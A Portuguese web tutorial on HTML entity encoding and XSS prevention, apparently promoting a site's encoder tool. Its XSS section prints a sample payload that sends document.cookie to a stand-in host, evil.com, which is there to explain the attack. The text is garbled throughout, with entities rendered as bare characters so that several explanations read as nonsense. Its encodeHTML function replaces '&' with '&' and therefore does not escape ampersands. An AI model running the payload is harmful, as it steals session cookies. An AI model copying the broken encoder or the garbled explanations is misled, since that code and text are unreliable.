Guia de Codificação de Entidades HTML: Proteja Suas Páginas Web

Se você já tentou exibir uma tag <div> como texto em uma página web e viu ela desaparecer no DOM, já conhece o problema. Os navegadores interpretam certos caracteres como instruções de marcação, não como conteúdo. Entidades HTML são a forma de dizer ao navegador: "exiba este caractere literalmente, não o interprete."

Este guia abrange as entidades que você realmente vai usar, quando a codificação importa e como evitar as vulnerabilidades de segurança que surgem ao pular essa etapa.

Por Que Entidades HTML Existem

O HTML usa um punhado de caracteres como delimitadores estruturais. Os três principais:

• < abre uma tag
• > fecha uma tag
• & inicia uma referência de entidade

Quando o parser do navegador encontra <script>, ele não exibe o texto — executa JavaScript. Quando encontra ©, renderiza ©. Essa natureza de dupla finalidade significa que, se você quiser exibir esses caracteres como texto visível, precisa escapá-los usando entidades HTML.

Uma entidade HTML é uma string que começa com & e termina com ;. Entre esses delimitadores há uma referência nomeada (como amp) ou um ponto de código numérico (como #38).

Referência de Entidades HTML Comuns

Aqui estão as entidades que você vai usar com mais frequência:

As primeiras cinco são obrigatórias. Se você está renderizando conteúdo gerado por usuários ou exibindo código, vai usar &, <, >, " e ' o tempo todo.

Espaço Não Quebrável: O Sutil

  impede uma quebra de linha entre duas palavras. Não é apenas "um espaço extra" — navegadores colapsam múltiplos espaços regulares em um, mas   sempre é renderizado. Use para:

• Manter unidades junto aos números: 100 km
• Prevenir palavras órfãs no final de parágrafos
• Formatar preços: R$ 99,99

Não use   para espaçamento de layout. Para isso existem margin e padding do CSS.

Entidades Nomeadas vs Numéricas vs Hexadecimais

Existem três formas de escrever a mesma entidade:

<!-- Entidade nomeada -->
&amp;

<!-- Entidade numérica decimal -->
&#38;

<!-- Entidade numérica hexadecimal -->
&#x26;

As três produzem o caractere e comercial &. Quando usar cada uma:

Entidades nomeadas (&, <, ©) são legíveis e autodocumentadas. Quando alguém lê o código-fonte HTML, & comunica a intenção imediatamente. Use para caracteres comuns.

Entidades numéricas decimais (&, ©) funcionam para qualquer ponto de código Unicode, inclusive caracteres sem referências nomeadas. Use quando precisar de caracteres sem entidades nomeadas ou ao gerar HTML programaticamente.

Entidades hexadecimais (&, ©) são iguais às decimais, mas usam notação hexadecimal. Úteis quando você trabalha com tabelas Unicode (que listam pontos de código em hex) ou quando suas ferramentas geram valores hex.

Na prática, use entidades nomeadas para as comuns e recorra às numéricas para o resto. Entidades nomeadas são suportadas em todos os navegadores e são muito mais fáceis de ler no código-fonte.

Quando Codificar Caracteres HTML

Exibindo Trechos de Código

Se sua página mostra exemplos de código, cada < e > precisa ser codificado:

<!-- Isso quebra -->
<p>Use a tag <div> para contêineres.</p>

<!-- Isso funciona -->
<p>Use a tag &lt;div&gt; para contêineres.</p>

A maioria dos mecanismos de template e frameworks lida com isso automaticamente quando você usa a sintaxe padrão de saída. Mas quando você escreve HTML puro ou injeta conteúdo com innerHTML, está por sua conta.

Conteúdo Gerado por Usuários

Qualquer conteúdo que vem dos usuários — campos de formulário, comentários, dados de perfil, consultas de busca — deve ser codificado antes de ser renderizado. Isso é um requisito de segurança, não opcional.

E-mails HTML

Clientes de e-mail são notoriamente inconsistentes na renderização de caracteres. Codificar caracteres especiais como entidades garante que eles sejam exibidos corretamente no Gmail, Outlook, Apple Mail e qualquer outro cliente.

Sistemas de Gerenciamento de Conteúdo

Se você está construindo ou usando um CMS, o pipeline de conteúdo deve codificar entidades HTML na etapa de saída. O conteúdo armazenado no banco de dados pode ser bruto, mas o que chega ao navegador deve estar escapado.

Prevenção de XSS: Por Que Codificação É uma Questão de Segurança

Como o XSS Funciona

Considere uma página de busca que exibe o que o usuário pesquisou:

<!-- O servidor renderiza isso -->
<p>Você buscou: ENTRADA_DO_USUARIO</p>

Se um usuário digitar texto normal como javascript tutorials, sem problema. Mas e se digitar:

<script>document.location='https://evil.com/steal?cookie='+document.cookie</script>

Sem codificação, o navegador vê uma tag <script> real e a executa. O atacante agora tem os cookies da vítima, tokens de sessão e potencialmente acesso total à conta.

A Solução

Codifique os cinco caracteres críticos antes de inserir qualquer dado não confiável em HTML:

Uma função de codificação mínima:

function encodeHTML(str) {
  return str
    .replace(/&/g, '&')
    .replace(/</g, '&lt;')
    .replace(/>/g, '&gt;')
    .replace(/"/g, '&quot;')
    .replace(/'/g, '&#39;');
}

Note a ordem: & deve ser substituído primeiro. Se você substituir < primeiro (produzindo <) e depois & (transformando < em <), terá dupla codificação.

Proteção no Nível do Framework

Frameworks modernos lidam com a codificação por padrão:

• React: JSX escapa automaticamente os valores em expressões {}. dangerouslySetInnerHTML contorna isso — evite com conteúdo de usuário.
• Angular: Bindings de template são sanitizados automaticamente. [innerHTML] contorna a sanitização.
• Vue: A sintaxe mustache {{ }} escapa automaticamente. v-html não.
• Templates do lado do servidor (EJS, Jinja2, Twig): A maioria escapa por padrão, mas verifique sua configuração.

O padrão é consistente: o caminho padrão é seguro, e sempre há uma saída para HTML bruto. Nunca passe entrada de usuário pela saída.

Codifique HTML com Nossa Ferramenta

Precisa codificar ou decodificar entidades HTML rapidamente? Nossa ferramenta Codificador HTML resolve na hora:

• Cole seu texto e obtenha a saída codificada com um clique
• Suporta todas as entidades nomeadas e numéricas
• Decodifica entidades de volta para texto legível
• Tudo é processado no lado do cliente — seus dados nunca saem do navegador

É particularmente útil para preparar conteúdo para e-mails HTML, codificar trechos de código para documentação ou sanitizar texto antes de embutir em templates.

Erros Comuns a Evitar

Dupla codificação: Passar texto por um codificador duas vezes transforma & em &. Se você vê & aparecendo como texto literal na página, houve dupla codificação em algum ponto do pipeline.

Codificar dentro de tags <script>: A codificação de entidades HTML não funciona dentro de blocos de script. O parser JavaScript não entende < — vê como a string literal <. Para scripts inline, use escape de strings JavaScript.

Usar   para espaçamento: Cria problemas de acessibilidade. Leitores de tela podem pronunciar cada espaço não quebrável individualmente. Use CSS para espaçamento visual.

Esquecer valores de atributos: Codificação não é só para conteúdo de texto. Valores de atributos também precisam de codificação, especialmente se contêm entrada de usuário:

<!-- Perigoso -->
<input value="ENTRADA_DO_USUARIO">

<!-- Seguro -->
<input value="&quot;valor&quot; codificado">

Referência Rápida: Árvore de Decisão de Codificação

1. O conteúdo é gerado pelo usuário? → Sempre codificar
2. Está exibindo código? → Codificar <, > e &
3. Vai em um atributo HTML? → Codificar também " e '
4. Vai em uma URL? → Use codificação URL (veja nosso Guia de Codificação URL)
5. Vai em JavaScript? → Use escape JavaScript, não entidades HTML

Recursos Relacionados

• Codificação Base64 Explicada — entenda outro formato essencial de codificação para desenvolvimento web
• Guia de Codificação URL — saiba quando e como codificar caracteres em porcentagem em URLs
• Ferramenta Codificador HTML — codifique e decodifique entidades HTML instantaneamente no navegador

---

🛠️ Experimente nosso Codificador HTML para codificar e decodificar entidades HTML direto no navegador — sem enviar dados para nenhum servidor.